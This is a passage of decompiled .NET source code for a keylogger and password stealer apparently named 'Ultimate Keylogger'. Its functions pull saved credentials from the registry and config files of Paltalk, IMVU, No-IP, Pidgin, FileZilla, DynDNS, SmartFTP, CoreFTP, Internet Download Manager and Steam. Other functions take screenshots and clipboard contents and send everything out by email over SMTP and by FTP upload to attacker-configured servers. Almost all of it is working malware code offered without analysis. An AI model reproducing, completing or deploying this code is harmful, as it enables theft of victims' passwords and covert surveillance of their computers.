RegistryKey currentUser = Registry.CurrentUser; - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Paltalk"); - string[] subKeyNames = registryKey.GetSubKeyNames(); - registryKey.Close(); - string[] strArray1 = subKeyNames; - int index1 = 0; - while (index1 < strArray1.Length) - { - string str1 = strArray1[index1]; - string str2 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Paltalk\\" + str1, "pwd", (object) "")); - char[] charArray2 = str2.ToCharArray(); - string[] strArray2 = new string[checked ((int) Math.Round(unchecked ((double) str2.Length / 4.0)) + 1)]; - int index2; - while (index2 <= checked (Information.UBound((Array) charArray2) - 4)) - { - int index3; - if (index2 < checked (Information.UBound((Array) charArray2) - 4)) - strArray2[index3] = Conversions.ToString(charArray2[index2]) + Conversions.ToString(charArray2[checked (index2 + 1)]) + Conversions.ToString(charArray2[checked (index2 + 2)]); - checked { index2 += 4; } - checked { ++index3; } - } - string str3 = ""; - string str4 = str1; - int index4 = 0; - int length = str4.Length; - while (index4 < length) - { - char ch = str4[index4]; - str3 += Conversions.ToString(ch); - int index5; - if (index5 <= Information.UBound((Array) charArray1)) - str3 += Conversions.ToString(charArray1[index5]); - checked { ++index5; } - checked { ++index4; } - } - string str5 = str3 + str3 + str3; - char[] charArray3 = str5.ToCharArray(); - string str6 = "" + Conversions.ToString(Microsoft.VisualBasic.Strings.Chr(checked ((int) Math.Round(unchecked (Conversions.ToDouble(strArray2[0]) - 122.0 - (double) Microsoft.VisualBasic.Strings.Asc(str5.Substring(checked (str5.Length - 1), 1))))))); - int num = Information.UBound((Array) strArray2); - int index6 = 1; - while (index6 <= num) - { - if (strArray2[index6] != null) - { - char ch = Microsoft.VisualBasic.Strings.Chr(checked ((int) Math.Round(unchecked (Conversions.ToDouble(strArray2[index6]) - (double) index6 - (double) Microsoft.VisualBasic.Strings.Asc(charArray3[checked (index6 - 1)]) - 122.0)))); - str6 += Conversions.ToString(ch); - } - checked { ++index6; } - } - this.@out = this.@out + "+-----------PalTask Passwords----------+" + Environment.NewLine + "Username: " + str1 + "\r\nPassword: " + str6 + "\r\n------------------"; - this.TextBox1.Text = this.@out; - checked { ++index1; } - } - return this.@out; - } - - public void Imvu_Fuck() - { - string hKey1 = "HKEY_CURRENT_USER\\Software\\IMVU\\username\\"; - string hKey2 = "HKEY_CURRENT_USER\\Software\\IMVU\\password\\"; - this.imvu = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "IMVU : \r\nUsername : ", this.ReadKey(ref hKey1)), (object) "\r\n"), (object) "Password : "), (object) this.Hex2Ascii(Conversions.ToString(this.ReadKey(ref hKey2))))); - } - - public void NoIPRec() - { - string str1 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "Username", (object) null)); - string data1 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "Password", (object) null)); - string str2 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "ProxyUsername", (object) null)); - string data2 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "ProxyPassword", (object) null)); - string str3 = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC", "ProxyPort", (object) null)); - string str4 = "\r\n"; - this.NoIpBox = str4 + "Username: " + str1 + str4 + "Password: " + this.base64Decode(data1) + str4 + "Proxy Username:" + str2 + str4 + "Proxy Password: " + this.base64Decode(data2) + str4 + "Proxy Port: " + str3 + str4 + str4; - } - - public void pigdin() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string file = Interaction.Environ("APPDATA") + "\\.purple\\accounts.xml"; -label_2: - num3 = 3; - string str1 = Conversions.ToString(1); -label_3: - num3 = 4; - string str2 = "\r\n"; -label_4: - num3 = 5; - str1 = MyProject.Computer.FileSystem.OpenTextFileReader(file).ReadToEnd(); -label_5: - num3 = 6; - string str3 = (string) null; -label_6: - num3 = 7; - string[] strArray1 = str1.Split('\r'); -label_7: - num3 = 8; - str1 = (string) null; -label_8: - num3 = 9; - string[] strArray2 = strArray1; - int index = 0; - goto label_19; -label_10: - num3 = 10; - string str4; - if (!str4.Contains("")) - goto label_12; -label_11: - num3 = 11; - str3 = str3 + str4 + str2; -label_12: - num3 = 13; - if (!str4.Contains("")) - goto label_14; -label_13: - num3 = 14; - str3 = str3 + str4 + str2; -label_14: - num3 = 16; - if (!str4.Contains("")) - goto label_17; -label_15: - num3 = 17; - str3 = str3 + str4 + str2 + str2; -label_16: - num3 = 18; - this.Pigtext = str3; -label_17: - checked { ++index; } -label_18: - num3 = 20; -label_19: - if (index < strArray2.Length) - { - str4 = strArray2[index]; - goto label_10; - } -label_20: - num3 = 21; - this.Pigtext = str3; - goto label_27; -label_22: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_10; - case 11: - goto label_11; - case 12: - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - goto label_20; - case 22: - goto label_27; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_22; - } - throw ProjectData.CreateProjectError(-2146828237); -label_27: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void fzilla() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string file = Interaction.Environ("APPDATA") + "\\FileZilla\\recentservers.xml"; -label_2: - num3 = 3; - string str1 = Conversions.ToString(1); -label_3: - num3 = 4; - string str2 = "\r\n"; -label_4: - num3 = 5; - str1 = MyProject.Computer.FileSystem.OpenTextFileReader(file).ReadToEnd(); -label_5: - num3 = 6; - string str3 = (string) null; -label_6: - num3 = 7; - string[] strArray1 = str1.Split('\r'); -label_7: - num3 = 8; - str1 = (string) null; -label_8: - num3 = 9; - string[] strArray2 = strArray1; - int index = 0; - goto label_23; -label_10: - num3 = 10; - string str4; - if (!str4.Contains("")) - goto label_12; -label_11: - num3 = 11; - str3 = str3 + str4 + str2; -label_12: - num3 = 13; - if (!str4.Contains("")) - goto label_14; -label_13: - num3 = 14; - str3 = str3 + str4 + str2; -label_14: - num3 = 16; - if (!str4.Contains("")) - goto label_16; -label_15: - num3 = 17; - str3 = str3 + str4 + str2; -label_16: - num3 = 19; - if (!str4.Contains("")) - goto label_18; -label_17: - num3 = 20; - str3 = str3 + str4 + str2; -label_18: - num3 = 22; - if (!str4.Contains("")) - goto label_21; -label_19: - num3 = 23; - str3 = str3 + str4 + str2 + str2; -label_20: - num3 = 24; - this.filez = str3; -label_21: - checked { ++index; } -label_22: - num3 = 26; -label_23: - if (index < strArray2.Length) - { - str4 = strArray2[index]; - goto label_10; - } -label_24: - num3 = 27; - this.filez = str3; - goto label_31; -label_26: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_10; - case 11: - goto label_11; - case 12: - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - case 19: - goto label_16; - case 20: - goto label_17; - case 21: - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - goto label_20; - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - goto label_24; - case 28: - goto label_31; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_26; - } - throw ProjectData.CreateProjectError(-2146828237); -label_31: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void dyn1() - { - string sInhalt = this.ReadFile(Microsoft.VisualBasic.Strings.Replace(Interaction.Environ("APPDATA"), Interaction.Environ("Username"), "All Users") + "\\DynDNS\\Updater\\config.dyndns"); - string str1 = this.Cut(sInhalt, "[Hosts]", "Count="); - string str2 = this.Cut(sInhalt, "Username=", "\r\n"); - string Left = this.Cut(sInhalt, "Password=", "\r\n"); - if (Operators.CompareString(Left, "", false) != 0) - this.dynfuck = "Hosts:" + str1 + "\r\nUser: " + str2 + "\r\nPwd: " + Left + "\r\n"; - else - this.dynfuck = "Dyn-Dns - No Records Found"; - } - - public string SmartFTP() - { - string sInhalt = this.ReadFile(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" + FileSystem.Dir(Interaction.Environ("APPDATA") + "\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml")); - string str1 = this.Cut(sInhalt, "", ""); - string str2 = this.Cut(sInhalt, "", ""); - string Left = this.Cut(sInhalt, "", ""); - string str3 = this.Cut(sInhalt, "", ""); - string str4 = this.Cut(sInhalt, "", ""); - string str5; - if (Operators.CompareString(Left, "", false) != 0) - str5 = "Entry: " + str4 + "\r\nHost: " + str1 + ":" + str2 + "\r\nUser: " + Left + "\r\nPwd: " + str3 + " (Encrypt)"; - else - str5 = "No Records_Found......!"; - return str5; - } - - public string CoreFTP() - { - string str1 = this.ReadFile(Interaction.Environ("APPDATA") + "\\CoreFTP\\sites.idx"); - string str2 = this.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Host"); - string str3 = this.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Port"); - string Left = this.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\User"); - string str4 = this.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\PW"); - string str5 = this.RegRead("HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites\\" + str1 + "\\Name"); - string str6; - if (Operators.CompareString(Left, "", false) != 0) - str6 = "Entry: " + str5 + "\r\nHost: " + str2 + ":" + str3 + "\r\nUser: " + Left + "\r\nPwd: " + str4 + " (Encrypt)"; - else - str6 = "Nothing Found"; - return str6; - } - - public void Idm_Fuck_x() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.idmname = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "Name", (object) null)); -label_2: - num3 = 3; - if (Operators.CompareString(this.idmname, "", false) != 0) - goto label_4; -label_3: - num3 = 4; - this.idmname = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "FName", (object) null)); - goto label_6; -label_4: - num3 = 6; - if (Operators.CompareString(this.idmname, "", false) != 0) - goto label_6; -label_5: - num3 = 7; - this.idmname = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "name", (object) null)); -label_6: - ProjectData.ClearProjectError(); - num1 = 1; -label_7: - num3 = 10; - this.idmemail = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "Email", (object) null)); -label_8: - num3 = 11; - if (Operators.CompareString(this.idmemail, "", false) != 0) - goto label_11; -label_9: - num3 = 12; - if (Operators.CompareString(this.idmemail, "", false) != 0) - goto label_11; -label_10: - num3 = 13; - this.idmemail = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "email", (object) null)); -label_11: - ProjectData.ClearProjectError(); - num1 = 1; -label_12: - num3 = 17; - this.idmserial = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "Serial", (object) null)); -label_13: - num3 = 18; - if (Operators.CompareString(this.idmserial, "", false) != 0) - goto label_15; -label_14: - num3 = 19; - this.idmserial = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Internet Download Manager", "serial", (object) null)); -label_15: - num3 = 21; - this.idmpass = "+-------Idm Logins---------+\r\nIdm Username : " + this.idmname + "\r\n Idm Email : " + this.idmemail + "\r\n Idm Serial: " + this.idmserial + "\r\n------------------------"; - goto label_22; -label_17: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 8: - case 9: - goto label_6; - case 6: - goto label_4; - case 7: - goto label_5; - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - case 15: - case 16: - goto label_11; - case 17: - goto label_12; - case 18: - goto label_13; - case 19: - goto label_14; - case 20: - case 21: - goto label_15; - case 22: - goto label_22; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_17; - } - throw ProjectData.CreateProjectError(-2146828237); -label_22: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void steam_fuck() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str1 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Valve\\Steam", "SteamPath", (object) null)); -label_2: - num3 = 3; - str1 += "\\SteamApps"; -label_3: - num3 = 4; - string str2 = str1.Replace("/", "\\"); -label_4: - num3 = 5; - str2 = str1.Replace("\\SteamApps", ""); -label_5: - num3 = 6; - string str3 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductId", (object) null)); -label_6: - num3 = 7; - string str4 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography", "MachineGuid", (object) null)); -label_7: - num3 = 8; - string str5 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Valve\\Half-Life\\Settings", "io", (object) null)); -label_8: - num3 = 9; - StreamReader streamReader = new StreamReader(str2 + "\\ClientRegistry.blob"); -label_9: - num3 = 10; - string str6 = streamReader.ReadToEnd().ToString(); -label_10: - num3 = 11; - int index = str6.IndexOf("Phrase", 1); -label_11: - num3 = 12; - checked { index += 40; } -label_12: - num3 = 13; - int num4 = index; -label_13: - num3 = 14; - checked { num4 += 92; } -label_14: - num3 = 15; - string str7 = (string) null; -label_15: - num3 = 16; - int num5 = index; - int num6 = num4; - int num7 = num5; - goto label_19; -label_16: - num3 = 17; - str7 += Conversions.ToString(str6[index]); -label_17: - num3 = 18; - checked { ++index; } -label_18: - num3 = 19; - checked { ++num7; } -label_19: - if (num7 <= num6) - goto label_16; -label_20: - num3 = 20; - this.steam_fuckkey = this.steam_fuckkey + Environment.NewLine + Environment.NewLine + "Stem Passwrods : - " + Environment.NewLine + str3 + Environment.NewLine + str4 + Environment.NewLine + str5 + Environment.NewLine + str7 + Environment.NewLine + "Steal psd's :" + Environment.NewLine; - goto label_27; -label_22: - num2 = num3; - switch (num1) - { - case 1: - int num8 = num2 + 1; - num2 = 0; - switch (num8) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_20; - case 21: - goto label_27; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_22; - } - throw ProjectData.CreateProjectError(-2146828237); -label_27: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public object ReadKey(ref string hKey) - { - int num1; - object obj1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.shell")); - object[] objArray = new object[1]{ (object) hKey }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj2 = NewLateBinding.LateGet(objectValue, (System.Type) null, "regread", Arguments, (string[]) null, (System.Type[]) null, CopyBack); - if (flagArray[0]) - hKey = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - obj1 = RuntimeHelpers.GetObjectValue(obj2); - goto label_9; -label_4: - num2 = -1; - switch (num1) - { - case 2: - obj1 = (object) null; - goto label_9; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - object obj3 = obj1; - if (num2 == 0) - return obj3; - ProjectData.ClearProjectError(); - return obj3; - } - - public string Hex2Ascii(string Text) - { - object Left = (object) null; - object Counter; - object LoopForResult; - object CounterResult; - if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 1, (object) Microsoft.VisualBasic.Strings.Len(Text), (object) 1, ref LoopForResult, ref CounterResult)) - { - do - { - object Right = (object) Microsoft.VisualBasic.Strings.Mid(Text, Conversions.ToInteger(CounterResult), 2); - Left = Operators.ConcatenateObject(Left, (object) Microsoft.VisualBasic.Strings.Chr(checked ((int) Math.Round(Conversion.Val(Operators.ConcatenateObject((object) "&h", Right)))))); - CounterResult = Operators.AddObject(CounterResult, (object) 1); - } - while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult)); - } - return Conversions.ToString(Left); - } - - public string base64Decode(string data) - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - UTF8Encoding utF8Encoding = new UTF8Encoding(); -label_2: - num3 = 3; - Decoder decoder = utF8Encoding.GetDecoder(); -label_3: - num3 = 4; - byte[] bytes = Convert.FromBase64String(data); -label_4: - num3 = 5; - int charCount = decoder.GetCharCount(bytes, 0, bytes.Length); -label_5: - num3 = 6; - char[] chars = new char[checked (charCount - 1 + 1)]; -label_6: - num3 = 7; - decoder.GetChars(bytes, 0, bytes.Length, chars, 0); -label_7: - num3 = 8; - string str2 = new string(chars); -label_8: - str1 = str2; - goto label_15; -label_10: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_15; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_10; - } - throw ProjectData.CreateProjectError(-2146828237); -label_15: - string str3 = str1; - if (num2 == 0) - return str3; - ProjectData.ClearProjectError(); - return str3; - } - - public string ReadFile(string sFile) - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - StreamReader streamReader = new StreamReader(sFile); -label_2: - num3 = 3; - str1 = streamReader.ReadToEnd().ToString(); - goto label_9; -label_4: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_9; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public string Cut(string sInhalt, string sText, string sText2) - { -label_0: - int num1; - string str1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string[] strArray1 = Microsoft.VisualBasic.Strings.Split(sInhalt, sText); -label_2: - num3 = 3; - string[] strArray2 = Microsoft.VisualBasic.Strings.Split(strArray1[1], sText2); -label_3: - num3 = 4; - str1 = strArray2[0]; - goto label_10; -label_5: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_10; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_5; - } - throw ProjectData.CreateProjectError(-2146828237); -label_10: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public string RegRead(string hKey) - { -label_0: - int num1; - string str1; - int num2; - try - { - int num3 = 1; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell")); -label_1: - ProjectData.ClearProjectError(); - num1 = 1; -label_2: - num3 = 3; - object Instance = objectValue; - object[] objArray = new object[1]{ (object) hKey }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj = NewLateBinding.LateGet(Instance, (System.Type) null, nameof (RegRead), Arguments, (string[]) null, (System.Type[]) null, CopyBack); - if (flagArray[0]) - hKey = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - str1 = Conversions.ToString(obj); - goto label_11; -label_6: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_11; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_6; - } - throw ProjectData.CreateProjectError(-2146828237); -label_11: - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public string ReadLine(string filename, int line) - { - string str; - try - { - string[] strArray = MyProject.Computer.FileSystem.ReadAllText(filename, Encoding.Default).Split('\r'); - str = line <= 0 ? (line >= 0 ? "" : strArray[checked (strArray.Length + line - 1)]) : strArray[checked (line - 1)]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - public string FromBase64(string sText) => Encoding.Default.GetString(Convert.FromBase64String(sText)); - - public void logs() - { - this.Label37.Text = "Logs Only"; - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox4.Text); - message.Subject = "Ultimate Logger" + MyProject.Computer.Name.ToString() + "At " + Conversions.ToString(MyProject.Computer.Clock.LocalTime); - message.Body = "ComputerInformation" + this.nl + this.nl + this.TextBox16.Text + this.nl + this.nl + "Installed Software" + this.nl + this.nl + this.TextBox11.Text + this.nl + this.nl + "Logs" + this.nl + this.nl + this.TextBox1.Text + this.nl + this.nl + "ClipBoard" + this.nl + this.clip + this.nl + this.nl + this.nl + this.nl + this.totalfuckshit; - Attachment attachment = new Attachment(this.attact_fuck); - message.Attachments.Add(attachment); - new SmtpClient(this.Label4.Text) - { - Port = Conversions.ToInteger(this.Label5.Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - this.TextBox1.Clear(); - } - - public void clipboarlogs() - { - this.Label37.Text = "Logs + ClipboarLogger"; - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox4.Text); - message.Subject = "+Ultimate Keylogger" + MyProject.Computer.Name.ToString() + "At " + Conversions.ToString(MyProject.Computer.Clock.LocalTime); - message.Body = "ComputerInformation" + this.nl + this.nl + this.TextBox16.Text + this.nl + this.nl + "Installed Software" + this.nl + this.nl + this.TextBox11.Text + this.nl + this.nl + "Logs" + this.nl + this.nl + this.TextBox1.Text + this.nl + this.nl + "ClipBoard Logs" + this.nl + this.clip + this.nl + this.nl + this.nl + this.totalfuckshit; - Attachment attachment = new Attachment(this.attact_fuck); - message.Attachments.Add(attachment); - new SmtpClient(this.Label4.Text) - { - Port = Conversions.ToInteger(this.Label5.Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - this.TextBox1.Clear(); - } - - public void screen_Fuck() - { - this.Label37.Text = "Logs + Screen Logger"; - this.Label36.Text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + this.Label35.Text + ".jpeg"; - Size blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + this.Label35.Text + ".jpeg"); - Label label35 = this.Label35; - label35.Text = Conversions.ToString(Conversions.ToDouble(label35.Text) + 1.0); - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox4.Text); - message.Subject = "Ultimate Logger" + MyProject.Computer.Name.ToString() + "At " + Conversions.ToString(MyProject.Computer.Clock.LocalTime); - message.Body = "ComputerInformation" + this.nl + this.nl + this.TextBox16.Text + this.nl + this.nl + "Installed Software" + this.nl + this.nl + this.TextBox11.Text + this.nl + this.nl + "Logs" + this.nl + this.nl + this.TextBox1.Text + this.nl + this.nl + "ClipBoard" + this.nl + this.clip + this.nl + this.nl + this.totalfuckshit; - Attachment attachment1 = new Attachment(this.Label36.Text); - message.Attachments.Add(attachment1); - Attachment attachment2 = new Attachment(this.attact_fuck); - message.Attachments.Add(attachment2); - new SmtpClient(this.Label4.Text) - { - Port = Conversions.ToInteger(this.Label5.Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - this.TextBox1.Clear(); - } - - public void logscrennclip() - { - this.Label37.Text = "Logs+Clipboardlogger+screenlogger"; - this.Label36.Text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + this.Label35.Text + ".jpeg"; - Size blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + this.Label35.Text + ".jpeg"); - Label label35 = this.Label35; - label35.Text = Conversions.ToString(Conversions.ToDouble(label35.Text) + 1.0); - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox4.Text); - message.Subject = "Ultimate Keylogger" + MyProject.Computer.Name.ToString() + "At " + Conversions.ToString(MyProject.Computer.Clock.LocalTime); - message.Body = "ComputerInformation" + this.nl + this.nl + this.TextBox16.Text + this.nl + this.nl + "Installed Software" + this.nl + this.nl + this.TextBox11.Text + this.nl + this.nl + "Logs" + this.nl + this.nl + this.TextBox1.Text + this.nl + this.nl + "ClipBoard Logs" + this.nl + this.clip + this.nl + this.nl + this.nl + this.totalfuckshit; - Attachment attachment1 = new Attachment(this.Label36.Text); - message.Attachments.Add(attachment1); - Attachment attachment2 = new Attachment(this.attact_fuck); - message.Attachments.Add(attachment2); - new SmtpClient(this.Label4.Text) - { - Port = Conversions.ToInteger(this.Label5.Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - this.TextBox1.Clear(); - } - - public void makedir() - { - string str = "ftp://" + this.TextBox4.Text; - string text1 = this.TextBox2.Text; - string text2 = this.TextBox3.Text; - string text3 = this.Label3.Text; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(str + "/" + text3); - ftpWebRequest.Method = "MKD"; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(text1, text2); - ftpWebRequest.GetResponse(); - } - - public void Fpt_Fuck_AllInOne_Upload() - { - this.ftp_upload_NewxFuck = this.dpath + "\\Ultimate Keylogger " + this.ftp_increment + " On " + MyProject.Computer.Name + " 's ComputerAt" + this.datenow + ".txt"; - this.Label37.Text = "Ftp Count : " + this.ftp_increment; - string str1 = ""; - string str2 = ""; - StreamWriter streamWriter = new StreamWriter(this.dpath + "\\Ultimate Keylogger " + 